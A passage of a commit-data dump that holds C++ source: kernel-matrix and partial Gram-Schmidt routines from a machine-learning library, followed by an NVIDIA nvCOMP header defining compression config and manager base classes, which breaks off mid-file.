IdV[DocC];\n        int l = TInt::GetMn(DocC, DimN-1);\n        for (int i = 0; i <= l; i++)\n            DocVV(i,DId) = R[i][DocC - i];    \n        for (int i = l+1; i < DimN; i++)\n            DocVV(i,DId) = 0.0;\n    }\n}\n\nvoid TPartialGS::GetBasisV(TVec<TFltV>& q) {\n    const int l = R.Len();\n\n    q.Gen(l);\n    for (int i = 0; i < l; i++) {\n        q[i].Gen(l); \n        q[i].PutAll(0.0);\n    }\n\n    for (int n = 0; n < l; n++) {\n        double Rnn = R[n][0];\n        for (int j = 0; j < n; j++) {\n            TLinAlg::AddVec(-R[j][n-j]\/Rnn, q[j], q[n], q[n]);\n        }\n        q[n][n] = 1\/Rnn;\n    }\n}\n\ndouble TPartialGS::DotProdoctWithCol(const int& ColId, const TFltV& w) {\n    Assert(w.Len() == R.Len());\n    int l = TInt::GetMn(ColId, R.Len()-1);\n    double Result = 0.0;\n    for (int i = 0; i <= l; i++)\n        Result += R[i][ColId - i] * w[i];\n    return Result;\n}\n\nvoid TPartialGS::Dump(const TStr& FName) {\n    PSOut out = TFOut::New(FName);\n    for (int i = 0; i < R.Len(); i++) {\n        for (int j = 0; j < i; j++) {\n            out->PutStr(TFlt::GetStr(0.0, 20, 18)); out->PutCh(' '); }\n        for (int j = 0; j < R[i].Len(); j++) {\n            out->PutStr(TFlt::GetStr(R[i][j], 20, 18)); out->PutCh(' '); }\n        out->PutCh('\\n');\n    }\n}\n<commit_msg>tdigest namespace fix<commit_after>\/**\n * Copyright (c) 2015, Jozef Stefan Institute, Quintelligence d.o.o. and contributors\n * All rights reserved.\n * \n * This source code is licensed under the FreeBSD license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Kernel utilities\nvoid TKernelUtil::CalcKernelMatrix(PSVMTrainSet Set, TFltVV& K) {\n    const int Size = Set->Len(); K.Gen(Size, Size);\n    for (int i = 0; i < Size; i++) {\n        for (int j = i; j < Size; j++)\n            K(i,j) = K(j,i) = Set->DotProduct(i,j);\n    }\n}\n\nvoid TKernelUtil::CenterKernelMatrix(TFltVV& K) {\n    IAssert(K.GetXDim() == K.GetYDim());\n    const int l = K.GetYDim();\n\n    TFltV jK(l);   \/\/ j'K\n    double jKj = 0.0; \/\/ j'Kj\n    for (int j = 0; j < l; j++) {\n        jK[j] = 0.0;\n        for (int i = 0; i < l; i++)\n            jK[j] += K(i,j);\n        jKj += jK[j];\n    }\n\n    double invl = 1.0\/l;\n    for (int i = 0; i < l; i++) {\n        for (int j = 0; j < l; j++)\n            K(i,j) = K(i,j) - invl*jK[j] - invl*jK[i] + invl*invl*jKj;\n    }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Partial-Gram-Schmidt\nTPartialGS::TPartialGS(PSVMTrainSet BigSet, const int& Dim, const double& Eps) {\n    IAssert(Dim <= BigSet->Len() && 0.0 <= Eps && Eps < 1.0);\n    int Len = BigSet->Len();\n\n    TVec<TKeyDat<TFlt, TBool> > NiV(Len);\n    for (int i = 0; i < Len; i++) {\n        \/\/NiV[i].Key = BigSet->DotProduct(i, i);\n        NiV[i].Key = BigSet->GetNorm2(i);\n        NiV[i].Dat = false;\n        IAssertR(NiV[i].Key.Val > 0.0 && _isnan(NiV[i].Key.Val) == 0,\n                 TInt::GetStr(i) + TStr(\":\") + TFlt::GetStr(NiV[i].Key));\n    }\n    R.Gen(Dim, 0);\n    \/\/for (i = 0; i < Dim; i++) R[i].Gen(Len-i);\n    IdV.Gen(Len);\n    for (int i = 0; i < Len; i++) IdV[i] = i;\n\n    TFltV BlufV(Dim, 0); int max = -1;\n    for (int j = 0; j < Dim; j++) {\n        \/\/ find element with bigest residual norm\n        max = -1;\n        for (int t = 0, l = Len; t < l; t++)\n            if (!NiV[t].Dat && (max == -1 || NiV[t].Key > NiV[max].Key)) max = t;\n\n        \/\/ if max residual norm is reached\n        if (NiV[max].Key.Val < Eps) break;\n        \/\/printf(\"(%.2f)\", NiV[max].Key.Val);\n\n        \/\/ permute j-th and max-th column of R\n        NiV[max].Dat = true;\n        int mid = IdV.SearchForw(max, j);\n        { int tmp = IdV[j]; IdV[j] = max; IdV[mid] = tmp; }\n        for (int t = 0; t < j; t++) {\n            double tmp = R[t][j-t];\n            R[t][j-t] = R[t][mid-t];\n            R[t][mid-t] = tmp;\n        }\n\n        \/\/ calculate j-th row of R and update NiV (residual norms)\n        if (-0.001 < NiV[max].Key.Val && NiV[max].Key.Val < 0) NiV[max].Key.Val = 0.0;\n        IAssertR(NiV[max].Key.Val >= 0.0, TInt::GetStr(j) + TStr(\":\") + TFlt::GetStr(NiV[max].Key.Val));\n        IAssert(R.Len() == j);\n        R.Add(TFltV()); R[j].Gen(Len-j); \/\/ NEW\n        R[j][0] = sqrt(NiV[max].Key.Val);\n        BlufV.Add(NiV[IdV[j]].Key.Val);\n        for (int i = j+1; i < Len; i++) {\n            double RR = BigSet->DotProduct(IdV[i], IdV[j]);\n            for (int t = 0; t < j; t++)\n                RR -= R[t][j-t] * R[t][i-t];\n            IAssertR(NiV[IdV[j]].Key.Val>0, TInt::GetStr(i));\n            RR \/= sqrt(NiV[IdV[j]].Key.Val);\n            IAssertR(_isnan(RR) == 0, TInt::GetStr(IdV[j]) + TStr(\":\") + TFlt::GetStr(NiV[IdV[j]].Key.Val));\n            R[j][i-j] = RR;\n            NiV[IdV[i]].Key -= RR*RR;\n        }\n    }\n\n    if (max == -1) max = 0;\n    printf(\"stoped at %d\/%d with residual norm %.3f\\n\", R.Len(), BigSet->Len(), NiV[max].Key.Val);\n\n    NormV.Gen(Len);\n    VecNormV.Gen(Len);\n    for (int i = 0; i < Len; i++) {\n        NormV[i] = NiV[IdV[i]].Key;\n        VecNormV[i] = GetKernel(i,i);\n    }\n}\n\ndouble TPartialGS::GetKernel(const int& VecId1, const int& VecId2) {\n    double Result = 0.0;\n\n    int Id1 = IdV.SearchForw(VecId1), Id2 = IdV.SearchForw(VecId2);\n    int l = TInt::GetMn(R.Len()-1, Id1, Id2);\n    for (int i = 0; i <= l; i++) {\n        Result += R[i][Id1 - i] * R[i][Id2 - i];\n    }\n\n    return Result;\n}\n\nvoid TPartialGS::GetDocVV(TFltVV& DocVV) {\n    IAssert(R.Len() > 0);\n    const int DocN = R[0].Len();\n    const int DimN = R.Len();\n    DocVV.Gen(DimN, DocN);\n\n    for (int DocC = 0; DocC < DocN; DocC++) {\n        const int DId = IdV[DocC];\n        int l = TInt::GetMn(DocC, DimN-1);\n        for (int i = 0; i <= l; i++)\n            DocVV(i,DId) = R[i][DocC - i];    \n        for (int i = l+1; i < DimN; i++)\n            DocVV(i,DId) = 0.0;\n    }\n}\n\nvoid TPartialGS::GetBasisV(TVec<TFltV>& q) {\n    const int l = R.Len();\n\n    q.Gen(l);\n    for (int i = 0; i < l; i++) {\n        q[i].Gen(l); \n        q[i].PutAll(0.0);\n    }\n\n    for (int n = 0; n < l; n++) {\n        double Rnn = R[n][0];\n        for (int j = 0; j < n; j++) {\n            TLinAlg::AddVec(-R[j][n-j]\/Rnn, q[j], q[n], q[n]);\n        }\n        q[n][n] = 1\/Rnn;\n    }\n}\n\ndouble TPartialGS::DotProdoctWithCol(const int& ColId, const TFltV& w) {\n    Assert(w.Len() == R.Len());\n    int l = TInt::GetMn(ColId, R.Len()-1);\n    double Result = 0.0;\n    for (int i = 0; i <= l; i++)\n        Result += R[i][ColId - i] * w[i];\n    return Result;\n}\n\nvoid TPartialGS::Dump(const TStr& FName) {\n    PSOut out = TFOut::New(FName);\n    for (int i = 0; i < R.Len(); i++) {\n        for (int j = 0; j < i; j++) {\n            out->PutStr(TFlt::GetStr(0.0, 20, 18)); out->PutCh(' '); }\n        for (int j = 0; j < R[i].Len(); j++) {\n            out->PutStr(TFlt::GetStr(R[i][j], 20, 18)); out->PutCh(' '); }\n        out->PutCh('\\n');\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2022, NVIDIA CORPORATION. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *  * Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n *  * Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *  * Neither the name of NVIDIA CORPORATION nor the names of its\n *    contributors may be used to endorse or promote products derived\n *    from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#pragma once\n\n#include <memory>\n#include <vector>\n\n#include \"src\/Check.h\"\n#include \"src\/CudaUtils.h\"\n#include \"src\/common.h\"\n#include \"nvcomp_common_deps\/hlif_shared_types.h\"\n#include \"PinnedPtrs.hpp\"\n\nnamespace nvcomp {\n\n\/******************************************************************************\n * CLASSES ********************************************************************\n *****************************************************************************\/\n\n\/**\n * @brief Config used to aggregate information about the compression of a particular buffer.\n * \n * Contains a \"PinnedPtrHandle\" to an nvcompStatus. After the compression is complete,\n * the user can check the result status which resides in pinned host memory.\n *\/\nstruct CompressionConfig {\nprivate: \n  std::shared_ptr<PinnedPtrPool<nvcompStatus_t>::PinnedPtrHandle> status;\n\npublic:\n  size_t max_compressed_buffer_size;\n\n  \/**\n   * @brief Construct the config given an nvcompStatus_t memory pool\n   *\/\n  CompressionConfig(\n      PinnedPtrPool<nvcompStatus_t>& pool, \n      size_t max_compressed_buffer_size)\n    : status(pool.allocate()),\n      max_compressed_buffer_size(max_compressed_buffer_size)\n  {\n    *get_status() = nvcompSuccess;\n  }\n\n  \/**\n   * @brief Get the raw nvcompStatus_t*\n   *\/\n  nvcompStatus_t* get_status() const {\n    return status->get_ptr();\n  }\n};\n\n\/**\n * @brief Config used to aggregate information about a particular decompression.\n * \n * Contains a \"PinnedPtrHandle\" to an nvcompStatus. After the decompression is complete,\n * the user can check the result status which resides in pinned host memory.\n *\/\nstruct DecompressionConfig {\nprivate: \n  std::shared_ptr<PinnedPtrPool<nvcompStatus_t>::PinnedPtrHandle> status;\n\npublic:\n  size_t decomp_data_size;\n  uint32_t num_chunks;\n\n  \/**\n   * @brief Construct the config given an nvcompStatus_t memory pool\n   *\/\n  DecompressionConfig(PinnedPtrPool<nvcompStatus_t>& pool)\n    : status(pool.allocate()),\n      decomp_data_size(),\n      num_chunks()\n  {\n    *get_status() = nvcompSuccess;\n  }\n\n  \/**\n   * @brief Get the raw nvcompStatus_t*\n   *\/\n  nvcompStatus_t* get_status() const {\n    return status->get_ptr();\n  }\n};\n\n\/**\n * @brief Abstract base class that defines the nvCOMP high level interface\n *\/\nstruct nvcompManagerBase {\n  \/**\n   * @brief Configure the compression. \n   *\n   * This routine computes the size of the required result buffer. The result config also\n   * contains the nvcompStatus* that allows error checking. Synchronizes the device (cudaMemcpy)\n   * \n   * @param decomp_buffer_size The uncompressed input data size.\n   * \\return comp_config Result\n   *\/\n  virtual CompressionConfig configure_compression(const size_t decomp_buffer_size) = 0;\n\n  \/**\n   * @brief Perform compression asynchronously.\n   *\n   * @param decomp_buffer The uncompressed input data (GPU accessible).\n   * @param decomp_buffer_size The length of the uncompressed input data.\n   * @param comp_buffer The location to output the compressed data to (GPU accessible).\n   * @param comp_config Resulted from configure_compression given this decomp_buffer_size.\n   * Contains the nvcompStatus* that allows error checking. \n   *\/\n  virtual void compress(\n      const uint8_t* decomp_buffer, \n      const size_t decomp_buffer_size, \n      uint8_t* comp_buffer,\n      const CompressionConfig& comp_config) = 0;\n\n  \/**\n   * @brief Configure the decompression. \n   *\n   * Synchronizes the user stream. \n   * \n   * In the base case, this only computes the size of the decompressed buffer from the compressed buffer header. \n   * \n   * @param comp_buffer The compressed input data (GPU accessible).\n   * \\return decomp_config Result\n   *\/\n  virtual DecompressionConfig configure_decompression(const uint8_t* comp_buffer) = 0;\n\n  \/**\n   * @brief Perform decompression asynchronously.\n   *\n   * @param decomp_buffer The location to output the decompressed data to (GPU accessible).\n   * @param comp_buffer The compressed input data (GPU accessible).\n   * @param decomp_config Resulted from configure_decompression given this decomp_buffer_size.\n   * Contains nvcompStatus* in CPU\/GPU-accessible memory to allow error checking.\n   *\/\n  virtual void decompress(\n      uint8_t* decomp_buffer, \n      const uint8_t* comp_buffer,\n      const DecompressionConfig& decomp_config) = 0;\n  \n  \/**\n   * @brief Allows the user to provide a user-allocated scratch buffer.\n   * \n   * If this routine is not called before compression \/ decompression is called, the manager\n   * allocates the required scratch buffer. If this is called after the manager has allocated a \n   * scratch buffer, the manager frees the scratch buffer it allocated then switches to use \n   * the new user-provided one.\n   * \n   * @param new_scratch_buffer The location (GPU accessible) to use for comp\/decomp scratch space\n   * \n   *\/\n  virtual void set_scratch_buffer(uint8_t* new_scratch_buffer) = 0;\n\n  \/** \n   * @brief Computes the size of the required scratch space\n   * \n   * This scratch space size is constant and based on the configuration of the manager and the \n   * maximum occupancy on the device.\n   * \n   * \\return The required scratch buffer size\n   *\/ \n  virtual size_t get_required_scratch_buffer_size() = 0;\n  \n  \/** \n   * @brief Computes the compressed output size of a given buffer \n   * \n   * Synchronously copies the size of the compressed buffer to a stack variable for return.\n   * \n   * @param comp_buffer The start pointer of the compressed buffer to assess.\n   * \\return Size of the compressed buffer\n   *\/ \n  virtual size_t get_compressed_output_size(uint8_t* comp_buffer) = 0;\n\n  virtual ~nvcompManagerBase() = default;\n};\n\n\/**\n * @brief ManagerBase contains shared functionality amongst the different nvcompManager types\n * \n * - Intended that all Managers will inherit from this class directly or indirectly.\n *\n * - Contains a CPU\/GPU-accessible memory pool for result statuses to avoid repeated \n *   allocations when tasked with multiple compressions \/ decompressions.\n * \n * - Templated on the particular format's FormatSpecHeader so that some operations can be shared here. \n *   This is likely to be inherited by template classes. In this case, \n *   some usage trickery is suggested to get around dependent name lookup issues.\n *   https:\/\/en.cppreference.com\/w\/cpp\/language\/dependent_name\n *   \n *\/  \ntemplate <typename FormatSpecHeader>\nstruct ManagerBase : nvcompManagerBase {\n\nprotected: \/\/ members\n  CommonHeader* common_header_cpu;\n  cudaStream_t user_stream;\n  uint8_t* scratch_buffer;\n  size_t scratch_buffer_size;\n  int device_id;\n  PinnedPtrPool<nvcompStatus_t> status_pool;\n  bool manager_filled_scratch_buffer;\n\nprivate: \/\/ members\n  bool scratch_buffer_filled;\n\nprotected: \/\/ members\n  bool finished_init;\n\npublic: \/\/ API\n  \/**\n   * @brief Construct a ManagerBase\n   * \n   * @param user_stream The stream to use for all operations. Optional, defaults to the default stream\n   * @param device_id The default device ID to use for all operations. Optional, defaults to the default device\n   *\/\n  ManagerBase(cudaStream_t user_stream = 0, int device_id = 0) \n    : common_header_cpu(),\n      user_stream(user_stream),\n      scratch_buffer(nullptr),\n      scratch_buffer_size(0),\n      device_id(device_id),\n      status_pool(),\n      manager_filled_scratch_buffer(false),\n      scratch_buffer_filled(false),\n      finished_init(false)\n  {\n    CudaUtils::check(cudaHostAlloc(&common_header_cpu, sizeof(CommonHeader), cudaHostAllocDefault));\n  }\n\n  size_t get_required_scratch_buffer_size() final override {\n    return scratch_buffer_size;\n  }\n\n  \/\/ Disable copying\n  ManagerBase(const ManagerBase&) = delete;\n  ManagerBase& operator=(const ManagerBase&) = delete;\n  ManagerBase() = delete;     \n\n  size_t get_compressed_output_size(uint8_t* comp_buffer) final override {\n    CommonHeader* common_header = reinterpret_cast<CommonHeader*>(comp_buffer);\n    \n    CudaUtils::check(cudaMemcpy(common_header_cpu, \n        common_header, \n        sizeof(CommonHeader),\n        cudaMemcpyDefault));\n\n    return common_header_cpu->comp_data_size + common_header_cpu->comp_data_offset;\n  };\n  \n  virtual ~ManagerBase() {\n    CudaUtils::check(cudaFreeHost(common_header_cpu));\n    if (scratch_buffer_filled) {\n      if (manager_filled_scratch_buffer) {\n        #if CUDART_VERSION >= 11020\n          CudaUtils::check(cudaFreeAsync(scratch_buffer, user_stream));\n        #else \n          CudaUtils::check(cudaFree(scratch_buffer));\n        #endif\n      }\n    }\n  }\n\n  CompressionConfig configure_compression(const size_t decomp_buffer_size) final override\n  {\n    const size_t max_comp_size = calculate_max_compressed_output_size(decomp_buffer_size);\n    return CompressionConfig{status_pool, max_comp_size};\n  }\n\n  virtual DecompressionConfig configure_decompression(const uint8_t* comp_buffer) override\n  {\n    const CommonHeader* common_header = reinterpret_cast<const CommonHeader*>(comp_buffer);\n    DecompressionConfig decomp_config{status_pool};\n    \n    CudaUtils::check(cudaMemcpyAsync(&decomp_config.decomp_data_size, \n        &common_header->decomp_data_size, \n        sizeof(size_t),\n        cudaMemcpyDefault,\n        user_stream));\n    \n    do_configure_decompression(decomp_config, common_header);\n\n    return decomp_config;\n}\n\n  void set_scratch_buffer(uint8_t* new_scratch_buffer) final override\n  {\n    if (scratch_buffer_filled) {\n      if (manager_filled_scratch_buffer) {\n        #if CUDART_VERSION >= 11020\n          CudaUtils::check(cudaFreeAsync(scratch_buffer, user_stream));\n        #else\n          CudaUtils::check(cudaFree(scratch_buffer));\n        #endif\n        manager_filled_scratch_buffer = false;\n      }\n    } else {\n      scratch_buffer_filled = true;\n    }\n    scratch_buffer = new_scratch_buffer;\n  }\n\n  virtual void compress(\n      const uint8_t* decomp_buffer, \n      const size_t decomp_buffer_size, \n      uint8_t* comp_buffer,\n      const CompressionConfig& comp_config) \n  {\n    assert(finished_init);\n\n    if (not scratch_buffer_filled) {\n      #if CUDART_VERSION >= 11020\n        CudaUtils::check(cudaMallocAsync(&scratch_buffer, scratch_buffer_size, user_stream));\n      #else\n        CudaUtils::check(cudaMalloc(&scratch_buffer, scratch_buffer_size));\n      #endif\n      scratch_buffer_filled = true;\n      manager_filled_scratch_buffer = true;\n    }    \n\n    CommonHeader* common_header = reinterpret_cast<CommonHeader*>(comp_buffer);\n    FormatSpecHeader* comp_format_header = reinterpret_cast<FormatSpecHeader*>(common_header + 1);\n    CudaUtils::check(cudaMemcpyAsync(comp_format_header, get_format_header(), sizeof(FormatSpecHeader), cudaMemcpyDefault, user_stream));\n\n    CudaUtils::check(cudaMemsetAsync(&common_header->comp_data_size, 0, sizeof(uint64_t), user_stream));\n\n    uint8_t* new_comp_buffer = comp_buffer + sizeof(CommonHeader) + sizeof(FormatSpecHeader);\n    do_compress(common_header, decomp_buffer, decomp_buffer_size, new_comp_buffer, comp_config);\n  }\n\n  virtual void decompress(\n      uint8_t* decomp_buffer, \n      const uint8_t* comp_buffer,\n      const DecompressionConfig& config)\n  {\n    assert(finished_init);\n\n    if (not scratch_buffer_filled) {\n      #if CUDART_VERSION >= 11020\n        CudaUtils::check(cudaMallocAsync(&scratch_buffer, scratch_buffer_size, user_stream));\n      #else\n        CudaUtils::check(cudaMalloc(&scratch_buffer, scratch_buffer_size));\n      #endif\n      scratch_buffer_filled = true;\n      manager_filled_scratch_buffer = true;\n    }    \n\n    const uint8_t* new_comp_buffer = comp_buffer + sizeof(CommonHeader) + sizeof(FormatSpecHeader);\n\n    do_decompress(decomp_buffer, new_comp_buffer, config);\n  }\n  \nprotected: \/\/ helpers \n  virtual void finish_init() {\n    scratch_buffer_size = compute_scratch_buffer_size();\n    finished_init = true;\n  }\n\nprivate: \/\/ helpers\n\n  \/**\n   * @brief Required helper that actually does the compression \n   * \n   * @param common_header header filled in by this routine (GPU accessible)\n   * @param decomp_buffer The uncompressed input data (GPU accessible)\n   * @param decomp_buffer_size The length of the uncompressed input data\n   * @param comp_buffer The location to output the compressed data to (GPU accessible).\n   * @param comp_config Resulted from configure_compression given this decomp_buffer_size.\n   * \n   *\/\n  virtual void do_compress(\n      CommonHeader* common_header,\n      const uint8_t* decomp_buffer, \n      const size_t decomp_buffer_size, \n      uint8_t* comp_buffer,\n      const CompressionConfig& comp_config) = 0;\n\n  \/**\n   * @brief Required helper that actually does the decompression \n   *\n   * @param decomp_buffer The location to output the decompressed data to (GPU accessible).\n   * @param comp_buffer The compressed input data (GPU accessible).\n   * @param decomp_config Resulted from configure_decompression given this decomp_buffer_size.\n   *\/\n  virtual void do_decompress(\n      uint8_t* decomp_buffer, \n      const uint8_t* comp_buffer,\n      const DecompressionConfig& config) = 0;\n\n  \/**\n   * @brief Optionally does additional decompression configuration \n   *\/\n  virtual void do_configure_decompression(\n      DecompressionConfig& decomp_config,\n      const CommonHeader* common_header) = 0; \n\n  \/**\n   * @brief Computes the required scratch buffer size \n   *\/\n  virtual size_t compute_scratch_buffer_size() = 0;\n\n  \/**\n   * @brief Computes the maximum compressed output size for a given\n   * uncompressed buffer.\n   *\/\n  virtual size_t calculate_max_compressed_output_size(size_t decomp_buffer_size) = 0;\n\n  \/**\n   * @brief Retrieves a CPU-accessible pointer to the FormatSpecHeader\n   *\/\n  virtual FormatSpecHeader* get_format_header() = 0;\n};\n\n} \/\/ namespace nvcomp<commit_msg>Remove reliance on stream in Manager destructor<commit_after>\/*\n * Copyright (c) 2022, NVIDIA CORPORATION. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *  * Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n *  * Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *  * Neither the name of NVIDIA CORPORATION nor the names of its\n *    contributors may be used to endorse or promote products derived\n *    from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#pragma once\n\n#include <memory>\n#include <vector>\n\n#include \"src\/Check.h\"\n#include \"src\/CudaUtils.h\"\n#include \"src\/common.h\"\n#include \"nvcomp_common_deps\/hlif_shared_types.h\"\n#include \"PinnedPtrs.hpp\"\n\nnamespace nvcomp {\n\n\/******************************************************************************\n * CLASSES ********************************************************************\n *****************************************************************************\/\n\n\/**\n * @brief Config used to aggregate information about the compression of a particular buffer.\n * \n * Contains a \"PinnedPtrHandle\" to an nvcompStatus. After the compression is complete,\n * the user can check the result status which resides in pinned host memory.\n *\/\nstruct CompressionConfig {\nprivate: \n  std::shared_ptr<PinnedPtrPool<nvcompStatus_t>::PinnedPtrHandle> status;\n\npublic:\n  size_t max_compressed_buffer_size;\n\n  \/**\n   * @brief Construct the config given an nvcompStatus_t memory pool\n   *\/\n  CompressionConfig(\n      PinnedPtrPool<nvcompStatus_t>& pool, \n      size_t max_compressed_buffer_size)\n    : status(pool.allocate()),\n      max_compressed_buffer_size(max_compressed_buffer_size)\n  {\n    *get_status() = nvcompSuccess;\n  }\n\n  \/**\n   * @brief Get the raw nvcompStatus_t*\n   *\/\n  nvcompStatus_t* get_status() const {\n    return status->get_ptr();\n  }\n};\n\n\/**\n * @brief Config used to aggregate information about a particular decompression.\n * \n * Contains a \"PinnedPtrHandle\" to an nvcompStatus. After the decompression is complete,\n * the user can check the result status which resides in pinned host memory.\n *\/\nstruct DecompressionConfig {\nprivate: \n  std::shared_ptr<PinnedPtrPool<nvcompStatus_t>::PinnedPtrHandle> status;\n\npublic:\n  size_t decomp_data_size;\n  uint32_t num_chunks;\n\n  \/**\n   * @brief Construct the config given an nvcompStatus_t memory pool\n   *\/\n  DecompressionConfig(PinnedPtrPool<nvcompStatus_t>& pool)\n    : status(pool.allocate()),\n      decomp_data_size(),\n      num_chunks()\n  {\n    *get_status() = nvcompSuccess;\n  }\n\n  \/**\n   * @brief Get the raw nvcompStatus_t*\n   *\/\n  nvcompStatus_t* get_status() const {\n    return status->get_ptr();\n  }\n};\n\n\/**\n * @brief Abstract base class that defines the nvCOMP high level interface\n *\/\nstruct nvcompManagerBase {\n  \/**\n   * @brief Configure the compression. \n   *\n   * This routine computes the size of the required result buffer. The result config also\n   * contains the nvcompStatus* that allows error checking. Synchronizes the device (cudaMemcpy)\n   * \n   * @param decomp_buffer_size The uncompressed input data size.\n   * \\return comp_config Result\n   *\/\n  virtual CompressionConfig configure_compression(const size_t decomp_buffer_size) = 0;\n\n  \/**\n   * @brief Perform compression asynchronously.\n   *\n   * @param decomp_buffer The uncompressed input data (GPU accessible).\n   * @param decomp_buffer_size The length of the uncompressed input data.\n   * @param comp_buffer The location to output the compressed data to (GPU accessible).\n   * @param comp_config Resulted from configure_compression given this decomp_buffer_size.\n   * Contains the nvcompStatus* that allows error checking. \n   *\/\n  virtual void compress(\n      const uint8_t* decomp_buffer, \n      const size_t decomp_buffer_size, \n      uint8_t* comp_buffer,\n      const CompressionConfig& comp_config) = 0;\n\n  \/**\n   * @brief Configure the decompression. \n   *\n   * Synchronizes the user stream. \n   * \n   * In the base case, this only computes the size of the decompressed buffer from the compressed buffer header. \n   * \n   * @param comp_buffer The compressed input data (GPU accessible).\n   * \\return decomp_config Result\n   *\/\n  virtual DecompressionConfig configure_decompression(const uint8_t* comp_buffer) = 0;\n\n  \/**\n   * @brief Perform decompression asynchronously.\n   *\n   * @param decomp_buffer The location to output the decompressed data to (GPU accessible).\n   * @param comp_buffer The compressed input data (GPU accessible).\n   * @param decomp_config Resulted from configure_decompression given this decomp_buffer_size.\n   * Contains nvcompStatus* in CPU\/GPU-accessible memory to allow error checking.\n   *\/\n  virtual void decompress(\n      uint8_t* decomp_buffer, \n      const uint8_t* comp_buffer,\n      const DecompressionConfig& decomp_config) = 0;\n  \n  \/**\n   * @brief Allows the user to provide a user-allocated scratch buffer.\n   * \n   * If this routine is not called before compression \/ decompression is called, the manager\n   * allocates the required scratch buffer. If this is called after the manager has allocated a \n   * scratch buffer, the manager frees the scratch buffer it allocated then switches to use \n   * the new user-provided one.\n   * \n   * @param new_scratch_buffer The location (GPU accessible) to use for comp\/decomp scratch space\n   * \n   *\/\n  virtual void set_scratch_buffer(uint8_t* new_scratch_buffer) = 0;\n\n  \/** \n   * @brief Computes the size of the required scratch space\n   * \n   * This scratch space size is constant and based on the configuration of the manager and the \n   * maximum occupancy on the device.\n   * \n   * \\return The required scratch buffer size\n   *\/ \n  virtual size_t get_required_scratch_buffer_size() = 0;\n  \n  \/** \n   * @brief Computes the compressed output size of a given buffer \n   * \n   * Synchronously copies the size of the compressed buffer to a stack variable for return.\n   * \n   * @param comp_buffer The start pointer of the compressed buffer to assess.\n   * \\return Size of the compressed buffer\n   *\/ \n  virtual size_t get_compressed_output_size(uint8_t* comp_buffer) = 0;\n\n  virtual ~nvcompManagerBase() = default;\n};\n\n\/**\n * @brief ManagerBase contains shared functionality amongst the different nvcompManager types\n * \n * - Intended that all Managers will inherit from this class directly or indirectly.\n *\n * - Contains a CPU\/GPU-accessible memory pool for result statuses to avoid repeated \n *   allocations when tasked with multiple compressions \/ decompressions.\n * \n * - Templated on the particular format's FormatSpecHeader so that some operations can be shared here. \n *   This is likely to be inherited by template classes. In this case, \n *   some usage trickery is suggested to get around dependent name lookup issues.\n *   https:\/\/en.cppreference.com\/w\/cpp\/language\/dependent_name\n *   \n *\/  \ntemplate <typename FormatSpecHeader>\nstruct ManagerBase : nvcompManagerBase {\n\nprotected: \/\/ members\n  CommonHeader* common_header_cpu;\n  cudaStream_t user_stream;\n  uint8_t* scratch_buffer;\n  size_t scratch_buffer_size;\n  int device_id;\n  PinnedPtrPool<nvcompStatus_t> status_pool;\n  bool manager_filled_scratch_buffer;\n\nprivate: 